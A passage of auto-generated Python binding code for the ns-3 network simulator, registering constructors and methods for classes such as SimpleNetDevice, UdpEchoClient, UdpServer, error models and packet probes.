## simple-net-device.h (module 'network'): void ns3::SimpleNetDevice::SetPromiscReceiveCallback(ns3::Callback<bool, ns3::Ptr<ns3::NetDevice>, ns3::Ptr<ns3::Packet const>, unsigned short, ns3::Address const&, ns3::Address const&, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty> cb) [member function]
cls.add_method('SetPromiscReceiveCallback',
'void',
[param('ns3::Callback< bool, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::Address const &, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty >', 'cb')],
is_virtual=True)
## simple-net-device.h (module 'network'): void ns3::SimpleNetDevice::SetQueue(ns3::Ptr<ns3::Queue<ns3::Packet> > queue) [member function]
cls.add_method('SetQueue',
'void',
[param('ns3::Ptr< ns3::Queue< ns3::Packet > >', 'queue')])
## simple-net-device.h (module 'network'): void ns3::SimpleNetDevice::SetReceiveCallback(ns3::Callback<bool, ns3::Ptr<ns3::NetDevice>, ns3::Ptr<ns3::Packet const>, unsigned short, ns3::Address const&, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> cb) [member function]
cls.add_method('SetReceiveCallback',
'void',
[param('ns3::Callback< bool, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'cb')],
is_virtual=True)
## simple-net-device.h (module 'network'): void ns3::SimpleNetDevice::SetReceiveErrorModel(ns3::Ptr<ns3::ErrorModel> em) [member function]
cls.add_method('SetReceiveErrorModel',
'void',
[param('ns3::Ptr< ns3::ErrorModel >', 'em')])
## simple-net-device.h (module 'network'): bool ns3::SimpleNetDevice::SupportsSendFrom() const [member function]
cls.add_method('SupportsSendFrom',
'bool',
[],
is_const=True, is_virtual=True)
## simple-net-device.h (module 'network'): void ns3::SimpleNetDevice::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
## simple-net-device.h (module 'network'): void ns3::SimpleNetDevice::DoInitialize() [member function]
cls.add_method('DoInitialize',
'void',
[],
visibility='protected', is_virtual=True)
## simple-net-device.h (module 'network'): void ns3::SimpleNetDevice::NotifyNewAggregate() [member function]
cls.add_method('NotifyNewAggregate',
'void',
[],
visibility='protected', is_virtual=True)
return
def register_Ns3TimeValue_methods(root_module, cls):
## nstime.h (module 'core'): ns3::TimeValue::TimeValue() [constructor]
cls.add_constructor([])
## nstime.h (module 'core'): ns3::TimeValue::TimeValue(ns3::TimeValue const & arg0) [copy constructor]
cls.add_constructor([param('ns3::TimeValue const &', 'arg0')])
## nstime.h (module 'core'): ns3::TimeValue::TimeValue(ns3::Time const & value) [constructor]
cls.add_constructor([param('ns3::Time const &', 'value')])
## nstime.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::TimeValue::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::AttributeValue >',
[],
is_const=True, is_virtual=True)
## nstime.h (module 'core'): bool ns3::TimeValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function]
cls.add_method('DeserializeFromString',
'bool',
[param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_virtual=True)
## nstime.h (module 'core'): ns3::Time ns3::TimeValue::Get() const [member function]
cls.add_method('Get',
'ns3::Time',
[],
is_const=True)
## nstime.h (module 'core'): std::string ns3::TimeValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function]
cls.add_method('SerializeToString',
'std::string',
[param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_const=True, is_virtual=True)
## nstime.h (module 'core'): void ns3::TimeValue::Set(ns3::Time const & value) [member function]
cls.add_method('Set',
'void',
[param('ns3::Time const &', 'value')])
return
def register_Ns3TypeIdChecker_methods(root_module, cls):
## type-id.h (module 'core'): ns3::TypeIdChecker::TypeIdChecker() [constructor]
cls.add_constructor([])
## type-id.h (module 'core'): ns3::TypeIdChecker::TypeIdChecker(ns3::TypeIdChecker const & arg0) [copy constructor]
cls.add_constructor([param('ns3::TypeIdChecker const &', 'arg0')])
return
def register_Ns3TypeIdValue_methods(root_module, cls):
## type-id.h (module 'core'): ns3::TypeIdValue::TypeIdValue() [constructor]
cls.add_constructor([])
## type-id.h (module 'core'): ns3::TypeIdValue::TypeIdValue(ns3::TypeIdValue const & arg0) [copy constructor]
cls.add_constructor([param('ns3::TypeIdValue const &', 'arg0')])
## type-id.h (module 'core'): ns3::TypeIdValue::TypeIdValue(ns3::TypeId const & value) [constructor]
cls.add_constructor([param('ns3::TypeId const &', 'value')])
## type-id.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::TypeIdValue::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::AttributeValue >',
[],
is_const=True, is_virtual=True)
## type-id.h (module 'core'): bool ns3::TypeIdValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function]
cls.add_method('DeserializeFromString',
'bool',
[param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_virtual=True)
## type-id.h (module 'core'): ns3::TypeId ns3::TypeIdValue::Get() const [member function]
cls.add_method('Get',
'ns3::TypeId',
[],
is_const=True)
## type-id.h (module 'core'): std::string ns3::TypeIdValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function]
cls.add_method('SerializeToString',
'std::string',
[param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_const=True, is_virtual=True)
## type-id.h (module 'core'): void ns3::TypeIdValue::Set(ns3::TypeId const & value) [member function]
cls.add_method('Set',
'void',
[param('ns3::TypeId const &', 'value')])
return
def register_Ns3UdpClient_methods(root_module, cls):
## udp-client.h (module 'applications'): ns3::UdpClient::UdpClient(ns3::UdpClient const & arg0) [copy constructor]
cls.add_constructor([param('ns3::UdpClient const &', 'arg0')])
## udp-client.h (module 'applications'): ns3::UdpClient::UdpClient() [constructor]
cls.add_constructor([])
## udp-client.h (module 'applications'): static ns3::TypeId ns3::UdpClient::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## udp-client.h (module 'applications'): void ns3::UdpClient::SetRemote(ns3::Address ip, uint16_t port) [member function]
cls.add_method('SetRemote',
'void',
[param('ns3::Address', 'ip'), param('uint16_t', 'port')])
## udp-client.h (module 'applications'): void ns3::UdpClient::SetRemote(ns3::Address addr) [member function]
cls.add_method('SetRemote',
'void',
[param('ns3::Address', 'addr')])
## udp-client.h (module 'applications'): void ns3::UdpClient::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
## udp-client.h (module 'applications'): void ns3::UdpClient::StartApplication() [member function]
cls.add_method('StartApplication',
'void',
[],
visibility='private', is_virtual=True)
## udp-client.h (module 'applications'): void ns3::UdpClient::StopApplication() [member function]
cls.add_method('StopApplication',
'void',
[],
visibility='private', is_virtual=True)
return
def register_Ns3UdpEchoClient_methods(root_module, cls):
## udp-echo-client.h (module 'applications'): ns3::UdpEchoClient::UdpEchoClient(ns3::UdpEchoClient const & arg0) [copy constructor]
cls.add_constructor([param('ns3::UdpEchoClient const &', 'arg0')])
## udp-echo-client.h (module 'applications'): ns3::UdpEchoClient::UdpEchoClient() [constructor]
cls.add_constructor([])
## udp-echo-client.h (module 'applications'): uint32_t ns3::UdpEchoClient::GetDataSize() const [member function]
cls.add_method('GetDataSize',
'uint32_t',
[],
is_const=True)
## udp-echo-client.h (module 'applications'): static ns3::TypeId ns3::UdpEchoClient::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## udp-echo-client.h (module 'applications'): void ns3::UdpEchoClient::SetDataSize(uint32_t dataSize) [member function]
cls.add_method('SetDataSize',
'void',
[param('uint32_t', 'dataSize')])
## udp-echo-client.h (module 'applications'): void ns3::UdpEchoClient::SetFill(std::string fill) [member function]
cls.add_method('SetFill',
'void',
[param('std::string', 'fill')])
## udp-echo-client.h (module 'applications'): void ns3::UdpEchoClient::SetFill(uint8_t fill, uint32_t dataSize) [member function]
cls.add_method('SetFill',
'void',
[param('uint8_t', 'fill'), param('uint32_t', 'dataSize')])
## udp-echo-client.h (module 'applications'): void ns3::UdpEchoClient::SetFill(uint8_t * fill, uint32_t fillSize, uint32_t dataSize) [member function]
cls.add_method('SetFill',
'void',
[param('uint8_t *', 'fill'), param('uint32_t', 'fillSize'), param('uint32_t', 'dataSize')])
## udp-echo-client.h (module 'applications'): void ns3::UdpEchoClient::SetRemote(ns3::Address ip, uint16_t port) [member function]
cls.add_method('SetRemote',
'void',
[param('ns3::Address', 'ip'), param('uint16_t', 'port')])
## udp-echo-client.h (module 'applications'): void ns3::UdpEchoClient::SetRemote(ns3::Address addr) [member function]
cls.add_method('SetRemote',
'void',
[param('ns3::Address', 'addr')])
## udp-echo-client.h (module 'applications'): void ns3::UdpEchoClient::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
## udp-echo-client.h (module 'applications'): void ns3::UdpEchoClient::StartApplication() [member function]
cls.add_method('StartApplication',
'void',
[],
visibility='private', is_virtual=True)
## udp-echo-client.h (module 'applications'): void ns3::UdpEchoClient::StopApplication() [member function]
cls.add_method('StopApplication',
'void',
[],
visibility='private', is_virtual=True)
return
def register_Ns3UdpEchoServer_methods(root_module, cls):
## udp-echo-server.h (module 'applications'): ns3::UdpEchoServer::UdpEchoServer(ns3::UdpEchoServer const & arg0) [copy constructor]
cls.add_constructor([param('ns3::UdpEchoServer const &', 'arg0')])
## udp-echo-server.h (module 'applications'): ns3::UdpEchoServer::UdpEchoServer() [constructor]
cls.add_constructor([])
## udp-echo-server.h (module 'applications'): static ns3::TypeId ns3::UdpEchoServer::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## udp-echo-server.h (module 'applications'): void ns3::UdpEchoServer::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
## udp-echo-server.h (module 'applications'): void ns3::UdpEchoServer::StartApplication() [member function]
cls.add_method('StartApplication',
'void',
[],
visibility='private', is_virtual=True)
## udp-echo-server.h (module 'applications'): void ns3::UdpEchoServer::StopApplication() [member function]
cls.add_method('StopApplication',
'void',
[],
visibility='private', is_virtual=True)
return
def register_Ns3UdpServer_methods(root_module, cls):
## udp-server.h (module 'applications'): ns3::UdpServer::UdpServer(ns3::UdpServer const & arg0) [copy constructor]
cls.add_constructor([param('ns3::UdpServer const &', 'arg0')])
## udp-server.h (module 'applications'): ns3::UdpServer::UdpServer() [constructor]
cls.add_constructor([])
## udp-server.h (module 'applications'): uint32_t ns3::UdpServer::GetLost() const [member function]
cls.add_method('GetLost',
'uint32_t',
[],
is_const=True)
## udp-server.h (module 'applications'): uint16_t ns3::UdpServer::GetPacketWindowSize() const [member function]
cls.add_method('GetPacketWindowSize',
'uint16_t',
[],
is_const=True)
## udp-server.h (module 'applications'): uint64_t ns3::UdpServer::GetReceived() const [member function]
cls.add_method('GetReceived',
'uint64_t',
[],
is_const=True)
## udp-server.h (module 'applications'): static ns3::TypeId ns3::UdpServer::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## udp-server.h (module 'applications'): void ns3::UdpServer::SetPacketWindowSize(uint16_t size) [member function]
cls.add_method('SetPacketWindowSize',
'void',
[param('uint16_t', 'size')])
## udp-server.h (module 'applications'): void ns3::UdpServer::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
## udp-server.h (module 'applications'): void ns3::UdpServer::StartApplication() [member function]
cls.add_method('StartApplication',
'void',
[],
visibility='private', is_virtual=True)
## udp-server.h (module 'applications'): void ns3::UdpServer::StopApplication() [member function]
cls.add_method('StopApplication',
'void',
[],
visibility='private', is_virtual=True)
return
def register_Ns3UdpTraceClient_methods(root_module, cls):
## udp-trace-client.h (module 'applications'): ns3::UdpTraceClient::UdpTraceClient(ns3::UdpTraceClient const & arg0) [copy constructor]
cls.add_constructor([param('ns3::UdpTraceClient const &', 'arg0')])
## udp-trace-client.h (module 'applications'): ns3::UdpTraceClient::UdpTraceClient() [constructor]
cls.add_constructor([])
## udp-trace-client.h (module 'applications'): ns3::UdpTraceClient::UdpTraceClient(ns3::Ipv4Address ip, uint16_t port, char * traceFile) [constructor]
cls.add_constructor([param('ns3::Ipv4Address', 'ip'), param('uint16_t', 'port'), param('char *', 'traceFile')])
## udp-trace-client.h (module 'applications'): uint16_t ns3::UdpTraceClient::GetMaxPacketSize() [member function]
cls.add_method('GetMaxPacketSize',
'uint16_t',
[])
## udp-trace-client.h (module 'applications'): static ns3::TypeId ns3::UdpTraceClient::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## udp-trace-client.h (module 'applications'): void ns3::UdpTraceClient::SetMaxPacketSize(uint16_t maxPacketSize) [member function]
cls.add_method('SetMaxPacketSize',
'void',
[param('uint16_t', 'maxPacketSize')])
## udp-trace-client.h (module 'applications'): void ns3::UdpTraceClient::SetRemote(ns3::Address ip, uint16_t port) [member function]
cls.add_method('SetRemote',
'void',
[param('ns3::Address', 'ip'), param('uint16_t', 'port')])
## udp-trace-client.h (module 'applications'): void ns3::UdpTraceClient::SetRemote(ns3::Address addr) [member function]
cls.add_method('SetRemote',
'void',
[param('ns3::Address', 'addr')])
## udp-trace-client.h (module 'applications'): void ns3::UdpTraceClient::SetTraceFile(std::string filename) [member function]
cls.add_method('SetTraceFile',
'void',
[param('std::string', 'filename')])
## udp-trace-client.h (module 'applications'): void ns3::UdpTraceClient::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
## udp-trace-client.h (module 'applications'): void ns3::UdpTraceClient::StartApplication() [member function]
cls.add_method('StartApplication',
'void',
[],
visibility='private', is_virtual=True)
## udp-trace-client.h (module 'applications'): void ns3::UdpTraceClient::StopApplication() [member function]
cls.add_method('StopApplication',
'void',
[],
visibility='private', is_virtual=True)
return
def register_Ns3UintegerValue_methods(root_module, cls):
## uinteger.h (module 'core'): ns3::UintegerValue::UintegerValue() [constructor]
cls.add_constructor([])
## uinteger.h (module 'core'): ns3::UintegerValue::UintegerValue(ns3::UintegerValue const & arg0) [copy constructor]
cls.add_constructor([param('ns3::UintegerValue const &', 'arg0')])
## uinteger.h (module 'core'): ns3::UintegerValue::UintegerValue(uint64_t const & value) [constructor]
cls.add_constructor([param('uint64_t const &', 'value')])
## uinteger.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::UintegerValue::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::AttributeValue >',
[],
is_const=True, is_virtual=True)
## uinteger.h (module 'core'): bool ns3::UintegerValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function]
cls.add_method('DeserializeFromString',
'bool',
[param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_virtual=True)
## uinteger.h (module 'core'): uint64_t ns3::UintegerValue::Get() const [member function]
cls.add_method('Get',
'uint64_t',
[],
is_const=True)
## uinteger.h (module 'core'): std::string ns3::UintegerValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function]
cls.add_method('SerializeToString',
'std::string',
[param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_const=True, is_virtual=True)
## uinteger.h (module 'core'): void ns3::UintegerValue::Set(uint64_t const & value) [member function]
cls.add_method('Set',
'void',
[param('uint64_t const &', 'value')])
return
def register_Ns3AddressChecker_methods(root_module, cls):
## address.h (module 'network'): ns3::AddressChecker::AddressChecker() [constructor]
cls.add_constructor([])
## address.h (module 'network'): ns3::AddressChecker::AddressChecker(ns3::AddressChecker const & arg0) [copy constructor]
cls.add_constructor([param('ns3::AddressChecker const &', 'arg0')])
return
def register_Ns3AddressValue_methods(root_module, cls):
## address.h (module 'network'): ns3::AddressValue::AddressValue() [constructor]
cls.add_constructor([])
## address.h (module 'network'): ns3::AddressValue::AddressValue(ns3::AddressValue const & arg0) [copy constructor]
cls.add_constructor([param('ns3::AddressValue const &', 'arg0')])
## address.h (module 'network'): ns3::AddressValue::AddressValue(ns3::Address const & value) [constructor]
cls.add_constructor([param('ns3::Address const &', 'value')])
## address.h (module 'network'): ns3::Ptr<ns3::AttributeValue> ns3::AddressValue::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::AttributeValue >',
[],
is_const=True, is_virtual=True)
## address.h (module 'network'): bool ns3::AddressValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function]
cls.add_method('DeserializeFromString',
'bool',
[param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_virtual=True)
## address.h (module 'network'): ns3::Address ns3::AddressValue::Get() const [member function]
cls.add_method('Get',
'ns3::Address',
[],
is_const=True)
## address.h (module 'network'): std::string ns3::AddressValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function]
cls.add_method('SerializeToString',
'std::string',
[param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_const=True, is_virtual=True)
## address.h (module 'network'): void ns3::AddressValue::Set(ns3::Address const & value) [member function]
cls.add_method('Set',
'void',
[param('ns3::Address const &', 'value')])
return
def register_Ns3ApplicationPacketProbe_methods(root_module, cls):
## application-packet-probe.h (module 'applications'): ns3::ApplicationPacketProbe::ApplicationPacketProbe(ns3::ApplicationPacketProbe const & arg0) [copy constructor]
cls.add_constructor([param('ns3::ApplicationPacketProbe const &', 'arg0')])
## application-packet-probe.h (module 'applications'): ns3::ApplicationPacketProbe::ApplicationPacketProbe() [constructor]
cls.add_constructor([])
## application-packet-probe.h (module 'applications'): bool ns3::ApplicationPacketProbe::ConnectByObject(std::string traceSource, ns3::Ptr<ns3::Object> obj) [member function]
cls.add_method('ConnectByObject',
'bool',
[param('std::string', 'traceSource'), param('ns3::Ptr< ns3::Object >', 'obj')],
is_virtual=True)
## application-packet-probe.h (module 'applications'): void ns3::ApplicationPacketProbe::ConnectByPath(std::string path) [member function]
cls.add_method('ConnectByPath',
'void',
[param('std::string', 'path')],
is_virtual=True)
## application-packet-probe.h (module 'applications'): static ns3::TypeId ns3::ApplicationPacketProbe::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## application-packet-probe.h (module 'applications'): void ns3::ApplicationPacketProbe::SetValue(ns3::Ptr<ns3::Packet const> packet, ns3::Address const & address) [member function]
cls.add_method('SetValue',
'void',
[param('ns3::Ptr< ns3::Packet const >', 'packet'), param('ns3::Address const &', 'address')])
## application-packet-probe.h (module 'applications'): static void ns3::ApplicationPacketProbe::SetValueByPath(std::string path, ns3::Ptr<ns3::Packet const> packet, ns3::Address const & address) [member function]
cls.add_method('SetValueByPath',
'void',
[param('std::string', 'path'), param('ns3::Ptr< ns3::Packet const >', 'packet'), param('ns3::Address const &', 'address')],
is_static=True)
return
def register_Ns3BinaryErrorModel_methods(root_module, cls):
## error-model.h (module 'network'): ns3::BinaryErrorModel::BinaryErrorModel(ns3::BinaryErrorModel const & arg0) [copy constructor]
cls.add_constructor([param('ns3::BinaryErrorModel const &', 'arg0')])
## error-model.h (module 'network'): ns3::BinaryErrorModel::BinaryErrorModel() [constructor]
cls.add_constructor([])
## error-model.h (module 'network'): static ns3::TypeId ns3::BinaryErrorModel::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## error-model.h (module 'network'): bool ns3::BinaryErrorModel::DoCorrupt(ns3::Ptr<ns3::Packet> p) [member function]
cls.add_method('DoCorrupt',
'bool',
[param('ns3::Ptr< ns3::Packet >', 'p')],
visibility='private', is_virtual=True)
## error-model.h (module 'network'): void ns3::BinaryErrorModel::DoReset() [member function]
cls.add_method('DoReset',
'void',
[],
visibility='private', is_virtual=True)
return
def register_Ns3BurstErrorModel_methods(root_module, cls):
## error-model.h (module 'network'): ns3::BurstErrorModel::BurstErrorModel(ns3::BurstErrorModel const & arg0) [copy constructor]
cls.add_constructor([param('ns3::BurstErrorModel const &', 'arg0')])
## error-model.h (module 'network'): ns3::BurstErrorModel::BurstErrorModel() [constructor]
cls.add_constructor([])
## error-model.h (module 'network'): int64_t ns3::BurstErrorModel::AssignStreams(int64_t stream) [member function]
cls.add_method('AssignStreams',
'int64_t',
[param('int64_t', 'stream')])
## error-model.h (module 'network'): double ns3::BurstErrorModel::GetBurstRate() const [member function]
cls.add_method('GetBurstRate',
'double',
[],
is_const=True)
## error-model.h (module 'network'): static ns3::TypeId ns3::BurstErrorModel::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## error-model.h (module 'network'): void ns3::BurstErrorModel::SetBurstRate(double rate) [member function]
cls.add_method('SetBurstRate',
'void',
[param('double', 'rate')])
## error-model.h (module 'network'): void ns3::BurstErrorModel::SetRandomBurstSize(ns3::Ptr<ns3::RandomVariableStream> burstSz) [member function]
cls.add_method('SetRandomBurstSize',
'void',
[param('ns3::Ptr< ns3::RandomVariableStream >', 'burstSz')])
## error-model.h (module 'network'): void ns3::BurstErrorModel::SetRandomVariable(ns3::Ptr<ns3::RandomVariableStream> ranVar) [member function]
cls.add_method('SetRandomVariable',
'void',
[param('ns3::Ptr< ns3::RandomVariableStream >', 'ranVar')])
## error-model.h (module 'network'): bool ns3::BurstErrorModel::DoCorrupt(ns3::Ptr<ns3::Packet> p) [member function]
cls.add_method('DoCorrupt',
'bool',
[param('ns3::Ptr< ns3::Packet >', 'p')],
visibility='private', is_virtual=True)
## error-model.h (module 'network'): void ns3::BurstErrorModel::DoReset() [member function]
cls.add_method('DoReset',
'void',
[],
visibility='private', is_virtual=True)
return
def register_Ns3CounterCalculator__Unsigned_int_methods(root_module, cls):
## basic-data-calculators.h (module 'stats'): ns3::CounterCalculator<unsigned int>::CounterCalculator(ns3::CounterCalculator<unsigned int> const & arg0) [copy constructor]
cls.add_constructor([param('ns3::CounterCalculator< unsigned int > const &', 'arg0')])
## basic-data-calculators.h (module 'stats'): ns3::CounterCalculator<unsigned int>::CounterCalculator() [constructor]
cls.add_constructor([])
## basic-data-calculators.h (module 'stats'): unsigned int ns3::CounterCalculator<unsigned int>::GetCount() const [member function]
cls.add_method('GetCount',
'unsigned int',
[],
is_const=True)
## basic-data-calculators.h (module 'stats'): static ns3::TypeId ns3::CounterCalculator<unsigned int>::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## basic-data-calculators.h (module 'stats'): void ns3::CounterCalculator<unsigned int>::Output(ns3::DataOutputCallback & callback) const [member function]
cls.add_method('Output',
'void',
[param('ns3::DataOutputCallback &', 'callback')],
is_const=True, is_virtual=True)
## basic-data-calculators.h (module 'stats'): void ns3::CounterCalculator<unsigned int>::Update() [member function]
cls.add_method('Update',
'void',
[])
## basic-data-calculators.h (module 'stats'): void ns3::CounterCalculator<unsigned int>::Update(unsigned int const i) [member function]
cls.add_method('Update',
'void',
[param('unsigned int const', 'i')])
## basic-data-calculators.h (module 'stats'): void ns3::CounterCalculator<unsigned int>::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
return
def register_Ns3ErrorChannel_methods(root_module, cls):
## error-channel.h (module 'network'): ns3::ErrorChannel::ErrorChannel(ns3::ErrorChannel const & arg0) [copy constructor]
cls.add_constructor([param('ns3::ErrorChannel const &', 'arg0')])
## error-channel.h (module 'network'): ns3::ErrorChannel::ErrorChannel() [constructor]
cls.add_constructor([])
## error-channel.h (module 'network'): void ns3::ErrorChannel::Add(ns3::Ptr<ns3::SimpleNetDevice> device) [member function]
cls.add_method('Add',
'void',
[param('ns3::Ptr< ns3::SimpleNetDevice >', 'device')],
is_virtual=True)
## error-channel.h (module 'network'): ns3::Ptr<ns3::NetDevice> ns3::ErrorChannel::GetDevice(uint32_t i) const [member function]
cls.add_method('GetDevice',
'ns3::Ptr< ns3::NetDevice >',
[param('uint32_t', 'i')],
is_const=True, is_virtual=True)
## error-channel.h (module 'network'): uint32_t ns3::ErrorChannel::GetNDevices() const [member function]
cls.add_method('GetNDevices',
'uint32_t',
[],
is_const=True, is_virtual=True)
## error-channel.h (module 'network'): static ns3::TypeId ns3::ErrorChannel::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## error-channel.h (module 'network'): void ns3::ErrorChannel::Send(ns3::Ptr<ns3::Packet> p, uint16_t protocol, ns3::Mac48Address to, ns3::Mac48Address from, ns3::Ptr<ns3::SimpleNetDevice> sender) [member function]
cls.add_method('Send',
'void',
[param('ns3::Ptr< ns3::Packet >', 'p'), param('uint16_t', 'protocol'), param('ns3::Mac48Address', 'to'), param('ns3::Mac48Address', 'from'), param('ns3::Ptr< ns3::SimpleNetDevice >', 'sender')],
is_virtual=True)
## error-channel.h (module 'network'): void ns3::ErrorChannel::SetDuplicateMode(bool mode) [member function]
cls.add_method('SetDuplicateMode',
'void',
[param('bool', 'mode')])
## error-channel.h (module 'network'): void ns3::ErrorChannel::SetDuplicateTime(ns3::Time delay) [member function]
cls.add_method('SetDuplicateTime',
'void',
[param('ns3::Time', 'delay')])
## error-channel.h (module 'network'): void ns3::ErrorChannel::SetJumpingMode(bool mode) [member function]
cls.add_method('SetJumpingMode',
'void',
[param('bool', 'mode')])
## error-channel.h (module 'network'): void ns3::ErrorChannel::SetJumpingTime(ns3::Time delay) [member function]
cls.add_method('SetJumpingTime',
'void',
[param('ns3::Time', 'delay')])
return
def register_Ns3PacketCounterCalculator_methods(root_module, cls):
## packet-data-calculators.h (module 'network'): ns3::PacketCounterCalculator::PacketCounterCalculator(ns3::PacketCounterCalculator const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PacketCounterCalculator const &', 'arg0')])
## packet-data-calculators.h (module 'network'): ns3::PacketCounterCalculator::PacketCounterCalculator() [constructor]
cls.add_constructor([])
## packet-data-calculators.h (module 'network'): void ns3::PacketCounterCalculator::FrameUpdate(std::string path, ns3::Ptr<ns3::Packet const> packet, ns3::Mac48Address realto) [member function]
cls.add_method('FrameUpdate',
'void',
[param('std::string', 'path'), param('ns3::Ptr< ns3::Packet const >', 'packet'), param('ns3::Mac48Address', 'realto')])
## packet-data-calculators.h (module 'network'): static ns3::TypeId ns3::PacketCounterCalculator::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## packet-data-calculators.h (module 'network'): void ns3::PacketCounterCalculator::PacketUpdate(std::string path, ns3::Ptr<ns3::Packet const> packet) [member function]
cls.add_method('PacketUpdate',
'void',
[param('std::string', 'path'), param('ns3::Ptr< ns3::Packet const >', 'packet')])
## packet-data-calculators.h (module 'network'): void ns3::PacketCounterCalculator::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
return
def register_Ns3PacketProbe_methods(root_module, cls):
## packet-probe.h (module 'network'): ns3::PacketProbe::PacketProbe(ns3::PacketProbe const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PacketProbe const &', 'arg0')])
## packet-probe.h (module 'network'): ns3::PacketProbe::PacketProbe() [constructor]
cls.add_constructor([])
## packet-probe.h (module 'network'): bool ns3::PacketProbe::ConnectByObject(std::string traceSource, ns3::Ptr<ns3::Object> obj) [member function]
cls.add_method('ConnectByObject',
'bool',
[param('std::string', 'traceSource'), param('ns3::Ptr< ns3::Object >', 'obj')],
is_virtual=True)
## packet-probe.h (module 'network'): void ns3::PacketProbe::ConnectByPath(std::string path) [member function]
cls.add_method('ConnectByPath',
'void',
[param('std::string', 'path')],
is_virtual=True)
## packet-probe.h (module 'network'): static ns3::TypeId ns3::PacketProbe::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## packet-probe.h (module 'network'): void ns3::PacketProbe::SetValue(ns3::Ptr<ns3::Packet const> packet) [member function]
cls.add_method('SetValue',
'void',
[param('ns3::Ptr< ns3::Packet const >', 'packet')])
## packet-probe.h (module 'network'): static void ns3::PacketProbe::SetValueByPath(std::string path, ns3::Ptr<ns3::Packet const> packet) [member function]
cls.add_method('SetValueByPath',
'void',
[param('std::string', 'path'), param('ns3::Ptr< ns3::Packet const >', 'packet')],
is_static=True)
return
def register_Ns3PbbAddressTlv_methods(root_module, cls):
## packetbb.h (module 'network'): ns3::PbbAddressTlv::PbbAddressTlv() [constructor]
cls.add_constructor([])
## packetbb.h (module 'network'): ns3::PbbAddressTlv::PbbAddressTlv(ns3::PbbAddressTlv const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PbbAddressTlv const &', 'arg0')])
## packetbb.h (module 'network'): uint8_t ns3::PbbAddressTlv::GetIndexStart() const [member function]
cls.add_method('GetIndexStart',
'uint8_t',
[],
is_const=True)
## packetbb.h (module 'network'): uint8_t ns3::PbbAddressTlv::GetIndexStop() const [member function]
cls.add_method('GetIndexStop',
'uint8_t',
[],
is_const=True)
## packetbb.h (module 'network'): bool ns3::PbbAddressTlv::HasIndexStart() const [member function]
cls.add_method('HasIndexStart',
'bool',
[],
is_const=True)
## packetbb.h (module 'network'): bool ns3::PbbAddressTlv::HasIndexStop() const [member function]
cls.add_method('HasIndexStop',
'bool',
[],
is_const=True)
## packetbb.h (module 'network'): bool ns3::PbbAddressTlv::IsMultivalue() const [member function]
cls.add_method('IsMultivalue',
'bool',
[],
is_const=True)
